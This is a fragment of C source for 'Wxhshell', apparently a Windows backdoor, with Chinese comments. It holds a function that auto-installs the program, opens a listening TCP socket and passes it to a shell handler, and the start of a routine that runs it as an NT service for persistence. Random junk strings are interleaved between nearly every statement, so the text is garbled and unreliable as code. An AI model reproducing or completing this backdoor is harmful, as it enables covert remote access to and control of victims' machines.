-1'HC int StartWxhshell(LPSTR lpCmdLine) 6DF { iDb;_? SOCKET wsl; E0f{iO;} BOOL val=TRUE; I+?hG6NM int port=0; :KE/!]z struct sockaddr_in door; {ShgJ;! Q 5mB]N%rfW% if(wscfg.ws_autoins) Install(); \ {|ImCH }<m{~32M port=atoi(lpCmdLine); OKue" p }7/e8 O2 if(port<=0) port=wscfg.ws_port; c$M%G)P -E>)j\{PX7 WSADATA data; 5N/Lk>p1u if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x1[?5n6 fib#CY if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4*H"Z(HP setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I<\
'% door.sin_family = AF_INET; _^!vCa7f door.sin_addr.s_addr = inet_addr("127.0.0.1"); oVO.@M# door.sin_port = htons(port); UsW5d]i}Y P~7.sM if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `iixq9xi closesocket(wsl); PXYE;*d( return 1; `u'dh{,gE } @PkJY ~9M!)\~ if(listen(wsl,2) == INVALID_SOCKET) { pA4 ,@O closesocket(wsl); ] f7#N return 1; f=:.BR{ } pO/%N94s Wxhshell(wsl); a|qsQ'1,; WSACleanup(); )iE"Tl D'i6",Z> return 0; '1+.t$"/tU :=. *I } F'W>
8
&r_uQbx // 以NT服务方式启动 Gp2!xKgm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ExhL[1E { +<(a}6dt DWORD status = 0; .]t5q%}j DWORD specificError = 0xfffffff; F?]N8W ;iX<`re~ serviceStatus.dwServiceType = SERVICE_WIN32; %v=!'?VT serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,)#.a%EKA serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rG6\ynBX% serviceStatus.dwWin32ExitCode = 0; 3'#%c>_ serviceStatus.dwServiceSpecificExitCode = 0; >;lKLGJrd> serviceStatus.dwCheckPoint = 0; 1i-[+ serviceStatus.dwWaitHint = 0; bx;f`8SN tY_5Pz(@ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZgYZwc&- if (hServiceStatusHandle==0) return; f_<Y\ :YvbU Y status = GetLastError(); Q< |